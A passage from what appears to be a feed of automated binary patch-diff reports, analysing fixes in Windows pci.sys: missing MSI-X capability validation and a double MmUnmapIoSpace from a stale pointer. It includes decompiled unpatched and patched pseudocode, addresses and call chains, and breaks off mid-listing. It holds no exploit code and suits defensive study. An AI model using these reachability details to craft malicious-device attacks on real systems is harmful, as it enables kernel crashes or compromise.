&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High on the mechanism and direction. The gate is &lt;code&gt;EvaluateCurrentState(g_Feature_2859161914_59426036)&lt;/code&gt; (a WIL staging feature), not a resource-lock query; the unpatched build skips the restart-table checks when the feature is disabled, and the patched build removes the gate so they always run. &lt;code&gt;EvaluateCurrentState&lt;/code&gt; call sites drop from 13 to 4 across the two builds, all restart-table sites removed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope of impact:&lt;/strong&gt; The affected structures are LFS restart tables, parsed from the &lt;code&gt;$LogFile&lt;/code&gt; restart area during mount/recovery — a local, crafted-volume attack surface. The strongest reachable concern is that &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt;'s weak path lets malformed restart tables through to size/index computations. A specific, attacker-controlled kernel heap-overflow, information leak, or code-execution primitive is not provable from these binaries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On the integer overflow:&lt;/strong&gt; The &lt;code&gt;RtlULongAdd&lt;/code&gt; in &lt;code&gt;NtfsExtendRestartTable&lt;/code&gt; guards &lt;code&gt;NumberEntries (WORD) + growth&lt;/code&gt;. Every caller supplies a small growth increment, so a 32-bit wrap is not reachable; the check is defensive hardening.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>pci.sys — Missing MSI-X capability validation and dangling IO-mapping pointer causing double MmUnmapIoSpace (CWE-20, CWE-825) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/pci_718a03ff-pci-report-20260703-215451.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/pci_718a03ff-pci-report-20260703-215451.html</id><summary type="html">&lt;p&gt;KB5087545&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched Binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pci_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched Binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pci_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall Similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.559&lt;/strong&gt; (substantial divergence — major version rebuild)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched Functions&lt;/td&gt;
&lt;td&gt;1145&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed Functions&lt;/td&gt;
&lt;td&gt;898&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical Functions&lt;/td&gt;
&lt;td&gt;247&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Added (patched-only)&lt;/td&gt;
&lt;td&gt;Numerous (major version rebuild — new DOE/CXL/TDISP/AER handlers, etc.)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch makes two defensive changes in the PCI bus driver's MSI-X interrupt-resource processing path. (1) &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt; now validates the device-supplied MSI-X capability read from PCI configuration space (the capability ID byte must be &lt;code&gt;0x11&lt;/code&gt; and the table BIR field must be in range) &lt;em&gt;before&lt;/em&gt; setting up any BAR-to-vector mapping, rejecting a bad device with &lt;code&gt;STATUS_INVALID_DEVICE_REQUEST&lt;/code&gt;. (2) &lt;code&gt;PciProcessStartResources&lt;/code&gt; now clears the stored IO-space mapping pointer after &lt;code&gt;MmUnmapIoSpace&lt;/code&gt;, preventing a later &lt;em&gt;double&lt;/em&gt; unmap of the same system-PTE range during device stop/remove. Both code paths run only during PnP device start / enumeration against the device's own config space, so they are reachable by a malicious or malfunctioning PCIe device (including a VM PCI-passthrough / SR-IOV guest), not from an untrusted user-mode IOCTL. There is &lt;strong&gt;no&lt;/strong&gt; integer-overflow or pool-overflow fix here: the allocation-size multiply and the copy length are byte-for-byte identical in both builds.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Missing MSI-X Capability Validation (&lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Medium&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Improper validation of device-controlled config data (CWE-20)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt; (unpatched &lt;code&gt;0x1C004D10C&lt;/code&gt; / patched &lt;code&gt;0x14009C810&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Entry Point&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IRP_MJ_PNP / IRP_MN_START_DEVICE&lt;/code&gt; via PnP Manager&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; On the MSI-X path (device-extension MSI type field == 3), the unpatched function reads the MSI-X capability from config space &lt;em&gt;after&lt;/em&gt; allocating and copying, and then uses the device-supplied table BIR (BAR index, low 3 bits) and table offset without checking that the capability is genuinely MSI-X or that the BIR is in range:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;PciReadDeviceConfig(a1, &amp;amp;v17, &lt;span class="gs"&gt;*(a1 + 57), 0xC);   // read MSI-X cap AFTER alloc&lt;/span&gt;
&lt;span class="gs"&gt;*&lt;/span&gt;(a5 + 12) = HIDWORD(v17) &amp;amp; 0xFFFFFFF8;            // table offset, stored unchecked
*(a5 + 8)  = BYTE4(v17) &amp;amp; 7;                       // BIR, stored unchecked (0..7)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patch moves the read &lt;em&gt;before&lt;/em&gt; the allocation and validates it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;PciReadDeviceConfig(a1, &amp;amp;v19, *(a1 + 61), 0xC);
if ( (_BYTE)v19 == 0x11 &amp;amp;&amp;amp; (BYTE4(v19) &amp;amp; 7) != 7 ) { ... proceed ... }
else return STATUS_INVALID_DEVICE_REQUEST;         // 0xC0000184
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Capability ID byte must be &lt;code&gt;0x11&lt;/code&gt; (&lt;code&gt;PCI_CAP_ID_MSIX&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Table BIR field (&lt;code&gt;&amp;amp; 7&lt;/code&gt;) must not be &lt;code&gt;7&lt;/code&gt; (i.e. must be ≤ 6).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The config-read offset changed from device-extension &lt;code&gt;+0x39&lt;/code&gt; (unpatched) to &lt;code&gt;+0x3D&lt;/code&gt; (patched) only because the device-extension layout shifted between builds; both hold the stored MSI-X capability offset. The 32-bit size computation &lt;code&gt;88 * count + 8&lt;/code&gt; and the matched &lt;code&gt;memmove&lt;/code&gt; length are unchanged between builds — there is no integer-overflow fix in this function.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt; Without validation, a device that presents a crafted or mutated MSI-X capability (for example by changing its config space between enumeration and device start) can drive an out-of-range BIR and table offset into the BAR-to-vector setup that &lt;code&gt;PciProcessStartResources&lt;/code&gt; later feeds to &lt;code&gt;MmMapIoSpaceEx&lt;/code&gt;. The consequence is a mis-directed IO-space mapping within the device's assigned resource set — not a pool overflow. Reachable only via a malicious/malformed PCIe device or a PCI-passthrough guest during PnP start.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain (attacker data flow):&lt;/strong&gt;
1. PnP Manager sends &lt;code&gt;IRP_MN_START_DEVICE&lt;/code&gt; for an enumerating PCI device.
2. &lt;code&gt;PciDeviceStartWorker&lt;/code&gt; (&lt;code&gt;0x1C004C480&lt;/code&gt;) — PCI device-start / resource processing handler.
3. &lt;code&gt;PciProcessStartResources&lt;/code&gt; (&lt;code&gt;0x1C004CE40&lt;/code&gt;) — iterates &lt;code&gt;CmResourceList&lt;/code&gt; descriptors.
4. &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt; (&lt;code&gt;0x1C004D10C&lt;/code&gt;) — MSI/MSI-X interrupt descriptor processor (the validated target).&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2 — Dangling IO-Mapping Pointer / Double &lt;code&gt;MmUnmapIoSpace&lt;/code&gt; (&lt;code&gt;PciProcessStartResources&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Medium&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;Expired pointer dereference leading to double unmap (CWE-825)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PciProcessStartResources&lt;/code&gt; (unpatched &lt;code&gt;0x1C004CE40&lt;/code&gt; / patched &lt;code&gt;0x14009C500&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Entry Point&lt;/td&gt;
&lt;td&gt;Same PnP path as Finding 1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; During MSI-X BAR table processing, &lt;code&gt;PciProcessStartResources&lt;/code&gt; maps the table with &lt;code&gt;MmMapIoSpaceEx&lt;/code&gt; (&lt;code&gt;0x1C004D0DF&lt;/code&gt;) and stores the returned VA into the persistent MSI-X descriptor at &lt;code&gt;device_ext+0x398&lt;/code&gt;. The descriptor structure passed as &lt;code&gt;arg5&lt;/code&gt; is &lt;code&gt;device_ext+0x388&lt;/code&gt;, and its &lt;code&gt;+0x10&lt;/code&gt; field (&lt;code&gt;+0x398&lt;/code&gt;) is the mapped BaseAddress. On the error/cleanup path the function calls &lt;code&gt;MmUnmapIoSpace&lt;/code&gt; (&lt;code&gt;0x1C0063839&lt;/code&gt;) on that VA but, in the unpatched build, &lt;strong&gt;never clears&lt;/strong&gt; &lt;code&gt;device_ext+0x398&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Because the descriptor lives in the device extension, the stale VA survives the failed start. The device teardown paths &lt;code&gt;PciDevice_Remove&lt;/code&gt; (&lt;code&gt;0x1C0010340&lt;/code&gt;) and &lt;code&gt;PciDevice_Stop&lt;/code&gt; (&lt;code&gt;0x1C006CAE0&lt;/code&gt;) later re-check the descriptor type and unmap &lt;code&gt;device_ext+0x398&lt;/code&gt; if it is non-NULL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;if ( &lt;span class="gs"&gt;*(_DWORD *&lt;/span&gt;)(a3 + 904) == 3 ) {               // device_ext+0x388 == MSI-X
    v11 = &lt;span class="gs"&gt;*(void *&lt;/span&gt;*)(a3 + 920);                    // device_ext+0x398 (BaseAddress)
    if ( v11 != nullptr ) {
        MmUnmapIoSpace(v11, 16 &lt;span class="gs"&gt;* *&lt;/span&gt;(_DWORD &lt;span class="gs"&gt;*)(a3 + 1044));&lt;/span&gt;
&lt;span class="gs"&gt;        *&lt;/span&gt;(_QWORD *)(a3 + 920) = 0;
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With the pointer left stale from the failed start, teardown performs a &lt;strong&gt;second&lt;/strong&gt; &lt;code&gt;MmUnmapIoSpace&lt;/code&gt; on the same, already-unmapped system-PTE range. The patch inserts the fix:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mov qword [rsi+0x10], 0        ; device_ext+0x398 = 0, at 0x14009C72D
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;immediately after &lt;code&gt;MmUnmapIoSpace&lt;/code&gt;, so teardown skips the second unmap.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt; Double unmap of an IO-space system-PTE mapping → bugcheck / kernel system-PTE accounting corruption. Reachable when MSI-X resource processing fails partway during device start (a device presents an invalid interrupt descriptor, or a subsequent &lt;code&gt;MmMapIoSpaceEx&lt;/code&gt; fails), followed by PnP stop/remove. Malicious or faulty-device threat model.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt; Same PnP start path as Finding 1; the second unmap occurs during a later &lt;code&gt;IRP_MN_REMOVE_DEVICE&lt;/code&gt; / &lt;code&gt;IRP_MN_STOP_DEVICE&lt;/code&gt; on the same device object.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============ UNPATCHED (0x1C004D10C) — MSI-X path, no validation ============&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// type = MSI-X&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1044&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;PciB&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1044&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 32-bit size (unchanged in patch)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NonPagedPoolNx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;PciB&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// copy length == allocation size&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** MSI-X capability read AFTER alloc, no validation of ID or BIR ***&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PciReadDeviceConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIDWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFF8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
